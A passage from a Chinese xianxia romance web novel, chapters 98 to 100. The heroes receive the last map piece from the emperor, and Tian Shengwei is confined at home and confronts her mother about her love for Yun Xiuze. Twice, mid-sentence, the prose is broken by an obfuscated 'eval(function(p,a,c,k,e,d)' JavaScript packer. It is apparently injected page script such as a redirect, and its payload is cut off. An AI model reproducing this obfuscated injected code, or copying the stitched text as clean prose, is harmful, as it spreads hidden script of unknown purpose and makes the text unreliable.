云修泽心中有些奇怪的感觉,似是有些嗔怒,又有些冷意,按理说不应如此的,但无论如何压制都无法消散,最终还是抱拳说道。 “多谢王上提点。” 闻潺摆摆手,大殿的门重新敞开,无声的送客,云修泽最后一次回头,便是见他小心的捧着那株凤引花,一步一步靠近了水幕。 98. 疑相十四 等回到船上时,云修云还没有彻底回过神儿来,没想到那闻潺居然还真的把地图给了他们,并且轻而易举的放他们离开。 严肃和贺裘带着人围上来,确认了他们的状态之后,难以置信的说道。 “你们就真的拿到手了?见到了闻潺,还全身而退了?” 贺裘的眼神里透露出佩服来,之前那点儿别扭的心思消散的无影无踪。 老实说,他本以为他们一定会无功而返,刚才见远处的天阴沉沉的,又是起风又是起浪,就估摸着那边打起来了,本来船上的人都开始准备捞人了,没想到啊,看来大比魁首真的不是他们可以相比的。 严肃转身吩咐回城,想喊御医,被云修泽婉拒。 “思月既然尚有余力,那就不必麻烦太医了,只辛苦他多备一些药材便是。” 唐思月点头,道。 “麻烦严统领叫人送些热水到我的房间。” 严肃应下来,似乎还想问什么,天盛微说道。 “现在安心返航,具体情况等回到计都,我们自然会和陛下详谈。” 严肃闻此不再多嘴,总之五人一个不少的回来了,郡主看上去也没受什么大伤,他的职责已然尽到,很快便领命退下。 他们回到房间,等药材和热水全部送来之后,就关上门设了个结界。 云修云一下瘫在榻上,长舒了一口气,被唐思月拉起来扒衣服上药。 到了这时,云修泽和天盛微才将刚刚海底发生的事详细说来。 听到闻潺是为救他的爱侣才去寻地图的时候,唐思月不禁叹道。 “痴儿啊。” 云修云没想到就剩了肉身和一缕残魂也能被救回来,更何况又没亲眼见到,听着就如听故事一般,只有些凑热闹的问。 “龙?是真的龙吗?” “是真的龙。” 云修泽沉吟片刻。 “但好像又没有传说中龙的那种压迫感,许是虚弱所致。” 行愿重新带回了面具,开口道。 “可能是血脉返祖,鲛人本就有龙的血脉。” 云修泽赞同的点了点头,闻潺最后的那句话他尚且不明白究竟是什么意思,也没说出来,只是皱眉捻了捻衣袍上已经干枯的血迹,迟疑的说。 “我的自愈能力是不是越来越强了?血脉这种东西,还可以靠后天的努力激发吗?” 唐思月暂时抽不出手,便让天盛微在他手上划了一道,鲜血涌出,不到一刻钟就恢复的光洁如新,若不是血还在,只怕还会疑心伤口是否存在过。 唐思月笑道。 “是恢复的越来越快了,随着你的实力越来越强,你的身体自然就明白要往好的方面去发展,不用担心,这是好事,现在的你若是再遇上之前盛微中的情药,就不用彻夜放血了。” 两人的思绪咔的一下被她拉回了当时的场面,天盛微还没如何,云修泽就先红了耳廓。 他假咳两声清了清嗓,努力正经道。 “天竹血脉是不是不止对我自己有好处?人族也许察觉不到,但是在妖族眼里,我是不是就是一个散发着香味儿的香饽饽?” 见他思绪有随意发散的趋势,唐思月无奈道。 “想什么呢?之前灵儿不也没察觉你的血脉?你只要不说,别人自然是不知道的,怎么?你被闻潺看出来了?” 知道也瞒不住他们,云修泽有点忧虑的嗯了一声,云修云闻言逗道。 “嘿嘿,哥,你竟没被闻潺拿去入药吗?” 他脖子一缩,熟练的躲开了扔来的茶杯,还赶在它摔碎之前将它接住,洋洋得意的将其放回了桌上。 唐思月也跟着开玩笑。 “放心吧,现在六洲之中,除了几个数得上名来的人物可以试一试,其他的连这个药材都打不过。” 云修泽捂头哀嚎着倒向了天盛微。 “他们欺负我!” 天盛微试图顺毛撸。 “我们一定在你被抓走前先吃了你。” 云修泽眼睛咕噜一转,满口浑话就在嘴边,被天盛微手疾眼快捂住了嘴,扼杀于无形之中。 唐思月把帕子拧干扔给了云修泽,让他自己擦身上的血迹,有点好奇的问道。 “地图我们已经集齐了四张了,要不拿出来拼拼看?” 这里比较安全,也并无不可,他们聚到一处,按照地图的边缘线拼合,拼好后虽然缺了一块儿,但已经比较完整。 五人屏息等了一会儿,发现它根本没什么变化,送了点灵力进去也是如此,云修泽摸了摸下巴,说道。 “看来还非得集齐五张才肯显示内容啊。” 云修云顿感无趣躺了回去,又被唐思月以压到伤口为由重新拽了起来。 伤口已经处理完,行愿出去拿了点吃的进来,虽然还不是用膳的时辰,但他们体力消耗太过,也顾不得那些,几人形容都不算整齐,吃着吃着,云修云突然说。 “皇帝不是说会把第五张给我们?咱们好像就要集齐了啊。” 桌上碗筷一顿,的确,云修泽刚刚拿到这个任务的时候,还觉得天方夜谭,虽然过程的确不算轻松,但是他却并没有觉得难熬。 现在居然就要被他们集齐了。 几人都有点不真实的感觉,他们互相看看,忽然就笑了起来。 精神久违的放松,吃饱喝足后他们也没分开,天盛微和唐思月躺在床上,剩下三个撤了坐塌上的矮桌,又找到美人榻,居然就这么挨挨挤挤的睡起来,直到晚膳严肃来叫他们,才见云修云睡眼惺忪的来应门。 他们又在海上待了四五日,踏上岸的时候连路边的黄土杂草都觉得亲近。 他们本应直接去见闰和帝,但他派人来说政务繁忙,让他们先回去休息,严肃和贺裘要回去述职,他们就自己回了院子。 得知了消息的于幼宁和明水心一前一后的来访,说了好一阵子话,明水心临走前说道。 “青儿,回王府之前记得先跟你父亲通个气,省的他不在府中,你母亲见你情绪起伏太大。” 天盛微想起这事,有点头疼的应了下来,只是近在咫尺却近乡情怯。 她走了,于幼宁可没有,她是带着任务来的,五人被邀到将军府吃了晚膳,席间于商楹问起他们和闻潺的交手,云修云添油加醋,简直说出了朵花,逗得于商楹笑声不断。 云修泽有点好奇,说。 “将军,恕修泽冒昧,您不恨闻潺吗?” 于商楹闷了杯酒,爽快的说道。 “说不恨是不可能的,但我也知道错不在他,我现在是一国之将,不可能全凭心意行事,不过以后若有机会,我定然还是要他偿命的。” 唐思月笑语道。 “将军可否听过‘在于世界中,从非怨止怨’【注1】啊?” 于商楹不耐的摆手。 “一听就是和尚才能说出来的大道理,我是俗人,怨不怨的,自然是怎么痛快怎么来!” 云修泽微哂,倒了杯酒,敬道。 “好!人生在世,但求无愧我心!” 于商楹喝高兴了,喊道。 “好!喝!今日不醉不归!” 她不抓别人,单抓着云修泽灌,喝到最后,云修泽都开始怀疑威猛这个名号是否还添了别的方面,他一个身带灵力的青年人,愣是没喝过她,最后是在于商楹有些喝高了的嘲笑声中,被天盛微和云修云扶着出的将军府。 本来以为今夜没有旁的事了,但当他们回到住处附近,就突然察觉到院子周围有人隐匿,门口撒下的粉末也有被动过的痕迹,他们还以为来了什么不轨之人,云修泽瞬间支棱起来,运转灵力一下就把酒意驱出了体外。 谁知却让他们见到了亲自等在院中的皇帝陛下。 闰和帝似笑非笑。 “听说你们受了伤,朕处理完政务亲自赶来探望,没想到你们竟不在,看现在的样子,应该是没什么大碍。” 云修泽酒虽然已经醒了,但酒气还未消散,闻言不禁讪讪。 皇帝出个宫这么轻易吗?他还盘算着明天入宫呢,大半夜的竟然就自己过来了。 他拱了拱手道。 “还请陛下恕罪,实在是长者请,不敢辞,不过我等确实没有什么大碍,多谢陛下关怀。” 闰和帝摆摆手。 “行了,这次朕来也不是为了讨嫌。” 天盛微挎着他的手臂到石桌前坐了下来,闰和帝问道。 “说说吧,这次究竟是怎么回事?” 云修泽将来龙去脉详细说与他听,他听后长久的沉默,很久之后,才垂眸笑了笑。 “她还能活,但是皇兄不能了。” 天盛微一下就有些鼻酸。 闰和帝很快收敛起情绪,笑着拿出了一个木盒。 “说好要给你们的,最后一张地图了,好孩子们,竟真让你们做到了。” 云修泽盯着那个木盒,说不激动是假的,道谢之后便想拿过来,谁知闰和帝却突然将手按在上面,云修泽疑问望去,他笑道。 “给你们可以,不过朕还有一个条件。” 云修云腹诽,说好了给,临到头还提条件。 云修泽倒没什么想法,正色道。 “您请说。” “地图拼好后,朕也要一观。” 这个要求并不过分,云修泽松了口气,说道。 “这是自然,其实我们回来的路上就已经尝试将那四张拼起来,只不过缺了一块儿它不会显现内容,正好您带来了最后一张。” 他说着,动作麻利的将最后一张地图拿了出来,在拼上去的前一刻,他忽然有点不敢下手。 他盯着那张地图没有说话,其余四人默默将手放在了他身上,明明没什么重量,却很神奇的让云修泽心底安定下来。 完整的地图很快出现在他们眼前,不多时,上面便慢慢显出了不规则的红色线条。 “这是......” 云修泽微微皱眉,手指拂过被特意标出来的点。 天盛微沉声道。 “上饶平原。” 上饶平原,那里草木旺盛,自然气息最为浓厚,基本没有城镇坐落,是六洲之中占地最广,也是他们至今唯一没有踏足的地方。 云修云挠了挠脑袋。 “可是上饶那么大,我们怎么找啊?这画也不画清楚点,标出来的地方就画了个圈儿,这谁能看懂?” 云修泽的确想不出来哪里可以用这个图案代表,只能结合上面简陋标注的地势推测,忽然他瞥到了闰和帝,才想起来这儿有个现成的、见多识广的帝王,他们不知道,身为长辈、身为帝王的他可不一定。 云修泽连忙把地图转向他那边,卖乖笑道。 “陛下您请,您富有天下,想必对领土了如指掌,我们见识尚且浅陋,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你们若是和镜双子对上,那挑战的难度和这次易水之行也不遑多让,他们少年成名,能在那个动荡不安,危机四伏的时代声名远扬,想必你们也该知道是什么分量,朕再给你们派些人吧,多少能帮上些忙。” 云修泽还真的考虑了一下,但是当他去看四位同伴的时候,就默默放弃了这个选择。 几人相视一笑,似乎在瞬间达成了某些共识,云修泽婉拒道。 “多谢陛下好意,只是我们从始至终都是五个人,再没有什么比我们更默契了。” 见他们如此坚决,闰和帝也只好作罢,佯装恼怒的摇摇头,道。 “好啊,你们翅膀硬了,朕这个皇帝也管不了你们。” 他目光如鹰,看向云修泽。 “你小子,拒绝的这么干脆,回来若是让朕看到青儿受一点伤,朕就唯你是问!” 云修泽站起身,正色承诺。 “君子如竹,内不愧心,外不愧影,此诺,势九死以不移!” 盛微看着他,眼中涌起淡淡的笑意,一看就是很满意,很喜欢的样子,被闰和帝看到,又忍不住觉得自家白菜被拱了个彻底,他叹道。 “好了,朕要赶在落匙之前回宫,你们就别送了,早些歇息吧。” 五人起身恭送,天盛微犹豫了下,还是跟了上去。 她把闰和帝送到马车前,闰和帝停下来问她。 “怎么了?还有什么事要和舅舅说吗?” 天盛微垂着眼,问道。 “您知道幼宁是女儿身吧。” 闰和帝不明所以。 “自然。” 天盛微有点不确定的说道。 “她是四皇......四舅舅的遗腹子,虽然女扮男装多年,但也不能一直如此,您以后对她有什么安排吗?” 闰和帝语气平静,问道。 “你是想问,朕会不会让她参与夺嫡,或者,朕会不会把这个皇位给她吗?” 天盛微心下一惊,虽然她是有这个想法,但挑明出来就有些大逆不道了,仓皇抬眼想解释些什么,被闰和帝摇头制止。 他拍了拍天盛微的肩膀,道。 “你秉性良善,会为每一个放在心上的人考虑,这点你很像你母亲,好孩子,别担心,朕今日给你个准话。” 闰和帝眼眸沉沉,笑道。 “只要她有这个野心。” 天盛微有种得知了不得了的事情的感觉,心中一紧,还没说什么,闰和帝就再一次打断。 “好了,天色已晚,朕也乏了,早些回去休息吧。” 话被堵在了口中,天盛微只能低头将他送上了马车。 这个乘坐着人族最高统治者的座驾很快便无声无息的离去,天盛微定了定心神,转身回到了院中。 院子里,云修泽四人还在等她,见她回来,也没问她追上去说了什么,只是拉她坐下,笑道。 “怎么样?马上就要去见镜双子了,紧不紧张?” 天盛微轻轻吐息,仰头看向夜空,春寒料峭,还不知等他们找到镜双子时会是什么样的时节。 五人围坐一处,每一张面孔都如此熟悉,天盛微忽然伸出手。 “我们同舟共济。” 几人迅速兴奋起来,纷纷将手搭上,云修泽目光柔和,见她垂眸,笑意清浅,话却轻缓而坚定。 “我们同舟共济,始终如一。” 99. 疑相十五 父亲: 见字如晤,距当日一别已有半年之久,不知您与母亲是否康泰。 女儿不孝,现已集齐所需之物,不日便要离开计都去往寻找,只是心中挂念,久久难安,欲在离去前归家探望,又恐母亲惊悸,损伤玉体,特修书一封,望父亲告知何日归家方为良时。 恭请金安。 女儿盛微敬上 闰和十七年三月初七 沾墨的笔尖稍提,一封反复斟酌、废稿无数的家书才算勉强合乎心意。 天盛微有些出神的盯着看了许久,直到门外传来些响动才如梦初醒般将其封了起来。 云修泽在敞开的门扇上敲了敲,提着一个食盒走进来,笑道。 “做什么呢?连早膳也没吃,青玉还说你定然是睡过了,不让我来找你呢。” 他一边说一边将食盒里的早膳摆出来,天盛微出门叫了个小厮,让他把那封信送出去,回来才坐到了桌边。 云修泽看了一眼那小厮刚刚离去的方向,问道。 “给你父亲的?” “嗯。”天盛微有些心不在焉的喝着粥。 “你父亲不是通神阁的阁主吗?怎么不直接用灵鸟传信?” 天盛微解释道。 “母亲不喜法术,王府也布有隔绝灵力的结界,因此不用。” 云修泽歪了歪头,托着下巴笑道。 “这样也无法传音啊,那我想你了怎么办?” 天盛微思绪被拉到了他身上,抬眼看了看,见他眉眼柔和,苦恼全说在了嘴上,就很想将他压在某处一亲芳泽,亲的他真正为此苦恼不已才算畅快。 许是她的眼神透露出了什么,云修泽警觉的直起了身子。 天盛微向来是说干就干的性子,但是...... 她看了眼热粥点心,决定还是饱暖再思。 “写信给我。”她回道。 云修泽慢慢眨了眨眼,还没说话,天盛微又突然想起了什么,狐疑问道。 “你不会想来翻墙吧?” 云修泽登时失笑,佯装质问道。 “你这是把我想成什么人了?” 天盛微面无表情的看着他,几息过后,云修泽率先投降。 “好好好,我承认,虽然我爱翻你的墙,但是你父母的居处,我还未曾正式登门拜访,翻墙夜会虽然颇有情趣,但实在是有失体统,若是让他们知晓,哪里还会对我有什么好印象?那为夫娶你,岂不又是难上加难?” 天盛微已经习惯他时不时自称为夫,最开始还多少给点反应,但后来也是习惯成自然,熟练的无视。 送到口边的瓷勺遮掩了嘴角微微扬起的笑意,问道。 “那若是父亲母亲不愿放我离家,你就一直这般守规矩的等吗?” 云修泽转了转拿在手中把玩的茶杯,笑道。 “那我能怎么办呢?我又不是有权有势的王侯公子,面对家门显赫的岳家,自然要小心讨好咯。” 鬼话张口就来,他这人,不想方设法的给她父亲下套就算不错了,哪里又会因为岳家位高就只会委曲求全。 天盛微放下碗筷,接过了他双手奉上的清茶,装模作样的说道。 “嗯,如此甚好。” 云修泽笑倒在了桌子上。 那封信晨时送出,直到傍晚黄昏才传来回音。 明父在信中说,天盛微母亲的身体已经好了许多,但仍然忌讳大喜大悲,他这几日自会让她慢慢接受这件事,让她三日后午时再归家用膳。 有了确切的时间,天盛微反倒静下了心来,用云修云的话说,那便是伸头一刀,缩头一刀,船到桥头自然直,大不了再跑一次就是。 明父还不知道女儿尚未归家就已在思虑着下一次离家出走,好不容易安抚好了家中的妻子,正带着女儿的贴身女使亲自来接她回家。 五人正走到门边,想要一起送天盛微回去,谁知正好传来敲门声,门一开,一个圆脸丫头就直接冲着天盛微扑了过去。 唰唰唰—— 还没等她靠近,几把刀剑就已架在了她的要害处,逼的她动弹不得。 “雪柳?”天盛微诧异道。 那个被叫做雪柳的圆脸丫头正瑟瑟发抖,闻此呜呜的就哭了出来。 “呜呜呜,小姐,小姐,你好狠的心啊!你欺负雪柳不会武功,扔下雪柳离开王府,幸亏王爷公主仁善,不然雪柳可就要以死谢罪了呜呜呜......” 天盛微有点尴尬的示意他们将武器放下,雪柳一身牛劲就冲了过去,直接把她撞得后退了几步,就这样还扒着她哭个不停,仿佛受了天大的委屈。 天盛微就是知道王府不会将她如何才走的没有后顾之忧,如今被她哭诉,也只能笨拙的安抚着这个自小跟她长大的丫头。 “你怎么来了?” 雪柳哭够了,抽抽搭搭的说。 “我来接您回王府。” “母亲知道我要回去?” 雪柳瘪嘴点了点头。 “公主知道,一大早膳房就已忙起来了,做的全是您爱吃的菜,只等您归家。” 天盛微深吸一口气,决然道。 “那就走吧。” 王府来了人接,那云修泽他们就不能跟去了,五人移步到了另一处,凑在一起也不知说了什么,总之雪柳就看着其中一个男子自然而然的就握上了他家小姐的玉手,小姐也没什么反应,甚至用力反握了下后才离开他们向自己走来。 看她们离去,云修泽不解道。 “那个叫雪柳的丫头刚刚是不是瞪我了?” 三人纷纷点头。 天盛微上了车才发现明父也在,诧异道。 “您怎么亲自来了?” 明父不再闭目养神,睁开眼慢悠悠的打量了她一番,见她精神不错,行动轻便之后才勉强满意的点了点头。 “你母亲坐不住,催我来接你。” 天盛微抿抿嘴,问道。 “母亲身体当真好了不少吗?” “前阵子你命灯上的火忽然强劲了不少,看样子是不会轻易陨落,你母亲才宽了不少心。” 忽然强劲?天盛微垂下眼思虑片刻,那应该是深流醒来所致。 见她不说话了,明父端了一会儿架子,还是忍不住再次开口。 “哼,鬼丫头,还知道回家看看,我还当你要三过家门了!” 天盛微心虚一瞬。 “怕你们担心。” 明父瞥她一眼,道。 “你哪里是怕我们担心,分明是怕我们拦你做事。” 天盛微连忙坐近了些,拉着他的胳膊就要张嘴忽悠,被明父十分有先见之明的打断。 “你们找到所有地图了?” 天盛微眨眨眼,乖巧的嗯了一声。 明父叹息道。 “知道在什么地方了?” 天盛微复又嗯了一声。 明父三问。 “你一定要去吗?” 天盛微见他不过一年左右,两鬓的白发就多了不少,心中顿生不忍,但想到失踪的哥哥和云修泽几人,还是坚定的再次点头。 明父拿她没有什么办法,颇为忧愁的揉了揉眉心,决定交给她母亲解决。 马车在父女两人说话间就到了王府,天盛微一下车,就见一美妇人立于门前,见到她,眼中就迅速积起了泪光。 天盛微连忙上前,就要跪下。 “母亲,女儿不孝,劳您忧心了。” 明母搀扶她起来,泫然欲泣的拍了她两下,斥道。 “你还知道回来,我还当你不要王府,也不要我们了!” 天盛微任她不轻不重的推搡,心疼的揽着她。 明父连忙过来将她揽了过去,亲昵地抱怨道。 “哎呀,这是做什么,不是说好不哭了吗?小心孩子笑话你!” “她敢!” 明母怒瞪,天盛微连忙垂头做恭顺状,才总算将她哄得笑起来。 三人吃了顿其乐融融的午饭,天盛微却愈发觉得疑惑,直到下午陪明母制香时才忍不住问道。 “母亲,您不问问我离家究竟去......” 她的话还没说完,明母就骤然打断。 “我不想知道!” 她的声音忽然变得有些尖利,说完之后似乎自己也意识到了这点,柔柔的拉过天盛微的手,重新温婉道。 “我们不说那些,现在你回来了,就好好在家休息,母亲也不逼你相看人家了,只要你平平安安在我身边就好。” 只要你平安在我身边就好。 这句话天盛微曾听过无数次,她幼时就不愿受这里拘束,误打误撞拜了央玉为师,昆天谷何其重也,他们想要的弟子,纵使明母再如何不愿,也只能任她去学。 自此之后,只要她归家探望,明母就常说不求她实力卓绝,但求她平安守在身边,在几次兄长的命灯飘摇时,更显偏执。 天盛微听到熟悉的话,心中微颤,欲要辩驳,可一见她眉目间掩藏不住的不安时,还是将满腔委屈咽下。 为人子女者,总道心中亏欠良多。 也罢,慢慢劝慰吧。 之后天盛微又细细问了平日看顾明母身体的医师,也只说是心气郁结难消,病从心起,但身体已经见好,只要消除心结,就定然能够无恙。 这样的情况,纵使思月应该也没什么更好的办法。 可消除心结谈何容易,天盛微站在她兄长的院中,看着那棵常年不变的树,直到残阳落下,才带着雪柳回了自己的院子。 “雪柳,今天可收到信了?” 雪柳正在里间浑身干劲的收拾床铺,听到问话,就探出头来回道。 “没有啊小姐,要雪柳帮您留意一下吗?” 天盛微也没多失望,毕竟她也只是刚刚回府。 “你帮我留意一下吧。” “是。” 可是之后一连数日,她都没有收到只言片语, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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扶着她躺下,等药效起了用,渐渐睡去后,天盛微才慢慢退出了房中。 日光正盛,她不再朝门外走去,而是冷静的带着雪柳回房。 雪柳不解。 “小姐,你刚刚不是要出门吗?咱们不出去了吗?” 天盛微目不斜视的问道。 “我给你的信,你可有好好的送出去?” 雪柳说道。 “有的,我本想亲自去送,可您刚回来,还有许多事物需要打点,杂务缠身,我便按照惯例将信给了门房,他们也承诺一定会亲眼看到人收下信,可是出什么事了吗小姐?” 天盛微心道果然如此。 “无事,你准备一下,明日我要与母亲出门礼佛。” “是。” 是夜,云修泽躲过了巡逻的官兵,站在一处房顶,远远的看着明王府的方向。 从天盛微回府开始,他就每日一封信从未断过,可根本没有收到回应,只怕她已被软禁,要想出来的话...... 许久未见她,云修泽的想法逐渐开始往危险的地方飞奔,他正眯着眼打量,就突然被人从背后拍了拍肩膀。 云修泽浑身汗毛炸起,本能的抽出褚闲向后挥去,那人侧身躲过,无奈道。 “是我。” “行大哥?” 来人正是行愿,云修泽有些后怕的收剑回鞘,行大哥的潜行真的是越来越炉火纯青了,他刚刚思绪虽然不在这边,但能够靠的如此之近还不被他发现,这种人,他敢断言世上不过十数。 “行大哥,你真是越来越厉害了,不过做什么吓我?你怎么知道我在这儿?” 行愿坐下来,说道。 “盛微没有消息,你很焦躁,今日寻你不在,小姐推测你可能会在此处。” 云修泽也跟着坐下来,无奈笑道。 “我焦躁的有这么明显吗?” “我们看的很清楚,你在想什么?” 云修泽侧过脸不说话,行愿猜测道。 “担心王爷和公主无法对她放手?” 被戳中心事,云修泽有点赌气的撇了撇嘴。 “父母爱子理之自然,只是不能以此作为托辞,强行违背孩子的意愿。” 行愿安抚道。 “他们和法修世家不同,抛弃身份,只是一对普通的父母,两个孩子却都有所不同,还是该多加体谅。” 他说着,遥遥看向明王府的方向。 云修泽泄气短叹,其实他也就是那么一说,总归是年轻气盛,面对爱人可能无法相守,纵使明白,也难免会心生不满。 “我体谅,只是她若一直这么被软禁下去,我们该怎么办呢?” 行愿似乎是笑了笑。 “你不了解她吗?” 天盛微当初既然能干出离家出走的事,现在也绝不可能坐以待毙。 果不其然,第二日,便有了她的消息。 100. 疑相十六 天盛微回家的这些日子,云修泽也没闲着,他找了一份还算详尽的上饶地形图。 环琅谷一夜之间消失,显然不是自然形成,可是又偏偏是发生在镜双子出世之前,虽然不知道那时候的他们年岁几何,但应该没有这样移山隐物的能力。 但既然地图上显示在那里,那必然还是和他们有关系。 他旁敲侧击的和于商楹打听这件事,可从她的反应来看,她应该对此也并不知情,反倒让于幼宁看出来他在找环琅谷的消息。 那件事发生距今已有三四十年,在当时还算得上是奇闻一件,可到了现在,连相关的话本都没有了,幸亏宫中收录的书里还有一些相关的内容,被闰和帝命人抄录给了他。 云修泽和行愿夜谈过后的第二日,就在房中潜心研究,内容并不多,云修泽没用多少时间就翻了个遍。 可惜的是,里面并没有找到什么有用的东西。 云修泽扫开桌上的东西,撑着头,表情算不上多好看。 无人知晓镜双子的家族,他们既无姓,那应该不是刻意隐瞒,如果环琅谷消失不是他们背后的家族所为,那或许是他们碰巧找到了那个地方? “......” 数种可能盘旋在他的脑中,让他狠狠闭上了眼。 地图的答案明明已经揭晓,但是整件事情仿佛仍然疑窦丛生。 为什么选择那里?为什么放出地图?为什么要灭门唐家?为什么盛微的兄长至今没有消息?又为什么......要盯上他们? 每个问题都已经有了可以猜测的方向,但可能性太多,也太乱。 云修泽靠在椅背上闭眼叹了口气,如果盛微在就好了...... “......泽。” “修泽。” 云修泽唰的睁开了眼睛,近在耳边的呼唤让他本能的站起来去找她的身影。 椅子在地上摩擦发出兹啦的一声,他环顾四周,房中却仍然只有他一人,正当他怀疑是否是自己幻听时,天盛微的声音再次响起。 “你能听到吗?” 传音? 云修泽双指并拢抵在耳后,试探道。 “......阿微?” “是我。” 确切无疑听到她的声音,云修泽后退两步靠在了桌子上,叹道。 “阿微。” 那边天盛微一顿,垂眸静了一会儿才重新开口。 “你在干什么?” 云修泽瞟了一眼被自己拂到地上的文卷,毫不心虚的道。 “在想你。” 天盛微一听就知道不全是真话,也不与他计较,说道。 “你应该知道我现在的情况,我现在在城郊的隆平寺陪我母亲礼佛,暂时离开了结界。” 云修泽并不意外。 “你还好吗?” 天盛微一路与明母同乘,偶尔闲谈,到了寺中才找了个佛堂与他联系,本来只是怕他冲动,打算交代两句,可一听到他的声音,就忍不住生了点委屈,但时间紧迫,她还是迅速整理好了心情。 “我很好,母亲心结难消,我还需要一些时日,短时间内恐怕不能联络,你无需担忧,最多七日,不行的话......” 听到她的声音,云修泽一改前几日紧绷的状态,靠在桌上懒散的调笑。 “不行的话怎么样?再跑一次吗?” 天盛微幽幽道。 “不行的话,你们就自己去吧。” 说完,她就恼羞的切断了传音,任云修泽再如何联系也不再理他。 云修泽撑着桌子低低的笑起来,心情骤然开朗,连进来找他的云修云都被吓了一跳,怀疑他哥终于受不了开始发疯。 云修泽心情很好的拍拍他的肩膀,哼着曲儿往外走去,云修云一头雾水在后面喊道。 “你上哪儿去?” 云修泽头也不回的摆摆手。 “去见美人。” 云修云一愣,摸不着头脑的嘀咕道。 “盛微姐回来了?” 云修泽晃晃悠悠找到了天盛微回府的必经之路,发现这里人还不少,他到路边的一个茶棚坐下,点了杯清茶。 明明是茶棚,来上茶的小二身上却有个‘酒’字,身上也是酒比茶香,应该是临时来茶棚帮工的。 这条路烟火气重,人堆里时不时夹杂着叫卖声,来来往往,多数也并不匆忙,人多虽然正常,但是还有好多人眼睛时不时往街头瞟就有些奇怪了。 云修泽叫住那个小二,给了几个铜板,问道。 “你叫什么名字?” 他收了钱,顿时眉开眼笑,要知道路边的茶棚一般不会有客人给赏钱,连忙殷勤回道。 “小的麻小,客官有什么吩咐?” 云修泽打听道。 “今日怎的人这般多?我看他们常看街头,可是有什么缘故吗?” 麻小露出微微诧异的表情,像是不知他为何有此一问,但也麻利回道。 “客官有所不知,据说明王爷家的郡主今日和长公主出门礼佛,那皓明郡主早有所传,据说生的国色天香,只是极少出来走动,今日消息一出,不少人都赶来想要一睹芳容。” 他不好意思的挠了挠头。 “小的也是特意托人调来凑个热闹,客官既然不是为此而来,那也算是缘分,正巧赶上。” 云修泽听闻,心中顿时郁闷,他当然也是,只是不知道还会有这么多人和他抱有一样的心思。 他又给了几个铜板把麻小打发走,看着周围不少男男女女翘首以盼,独占欲便开始隐隐作祟,冷眼思量着如何将他们一并打发。 正当他盘算人数时,人群就开始隐隐躁动,不知是谁小声说了句来了来了,一群人就自发让出了道路。 云修泽的眼神同样被吸引,远处正是明王府的马车缓缓驶来。 天盛微坐在马车中正为刚刚的事懊恼,不该那样的,她也好久没听到他的声音、没有他的消息了,刚刚一闹,竟然连闲话都没说上两句,下一次还不知会是什么时候...... 她兀自出神,没有注意到风扬起了帘子,而街边的人影重重,所念之人正在其中。 云修泽目光深深,许久未见的人一闪而过,足以让周边的人群躁动不已。 可是云修泽心中却有种特殊的感觉。 她规规矩矩穿着郡主的服饰,青萝烟黛,朱唇皓齿,钗环明珠,美艳不可方物,几乎没了往日熟悉的影子,俨然就是高高在上的贵女。 “盛微......” 无意识的呢喃出口,竟然恍惚飘进了天盛微的耳中。 天盛微骤然回神,突然撩开帘子向后看去,在明母担忧的询问声中,看到了云修泽逆着人群离去的背影。 “......” 天盛微回到府中,心中久久难以平静,晚膳时,连在一旁侍候的下人都能看出她有心事,明母却未曾过问。 饭后,母女二人在花园中散步消食,天盛微一直沉默,等到将明母送回寝室后,她就坐在一处静静看着她在镜前卸钗环、拆妆发,看着看着,忽然说道。 “母亲,我有了心爱之人。” 明母一听,连忙加快了动作,弄完后将屋中人都遣了出去,拉着她坐到床边,一副准备促膝长谈的模样。 明母很感兴趣的问道。 “是哪家公子?脾气秉性如何?何时喜欢上的?快跟母亲说说。” 天盛微顺畅的回道。 “他模样好,性格也好,遇事冷静,有魄力,很聪明,很成熟,偶尔会有点孩子气,实力很强,修行十分有毅力,姓云,还有一个小三岁的弟弟,我们心意相通,已有了小半年的时光。” 她开口就说了一堆,连她自己也有点惊讶。 明母一开始还兴致勃勃的听着,可听到最后,意识到她口中之人也是个修士时,脸色顿时变得惨白,嘴唇嗫嗫,不知该说些什么。 看她这样,天盛微心有不忍,但仍然说道。 “母亲,我心悦他,我们一路互相扶持,经历了许多生死磨难,额珠是您和父亲的定情之物,现在,也是我们的。” 明母的手紧紧攥着被褥,有点神经质的微微颤抖,良久后,她轻声说道。 “不,不行,我不同意,我宁愿你一生不嫁,也不愿你寻个修士共度一生......” “母亲......” “不行!”她突然厉声道。 天盛微抿抿嘴,不明白她为何如此激动,医师说她忌讳大喜大悲,这场对话本应就此打住,可她一想到白日里云修泽赶来想要见她一面,她却只看到了他离去的背影,心中就只觉酸楚,面对明母斩钉截铁的拒绝,便再难压抑本心,双拳紧握,几近逼问道。 “您究竟为何!.......为何如此难以接受?就因为我和兄长都是修士,让您觉得我们时刻处在危险之中吗?或者说您是担忧家中下一辈无人掌势?可分明您与父亲皆不在意此事,母亲!女儿求您,给我个确定的答案吧!” 天盛微从小到大都少有情绪如此外露之时,见她眉眼倔强,掺杂着委屈势要得个答案的模样,明母心疼的同时也止不住的恐慌,她的想法仍然没有改变,忽略了她的问题,反而问道。 “你和我说这些,是想做什么?” 天盛微胸膛起伏不定,努力让自己平静下来,摊牌道。 “我们已经找到了镜双子的踪迹,不日便要前去寻找。” 明母呼吸一窒,瞳孔不断放大,似乎是听到了什么可怖之言,这次连唇间最后一抹血色都退了下去,颤声道。 “你说......什么?” 天盛微紧咬下唇,撇过头去,长发遮住了她的眉眼。 不回答也是一种无声的执拗,明母站起来捂住心口,踉跄着后退了几步,眼泪夺眶而出。 “......为什么......为什么你一定要参与他们的事?他们就是妖怪!!!蛊惑了多少人飞蛾扑火?还不够吗?!还不够吗!!!” 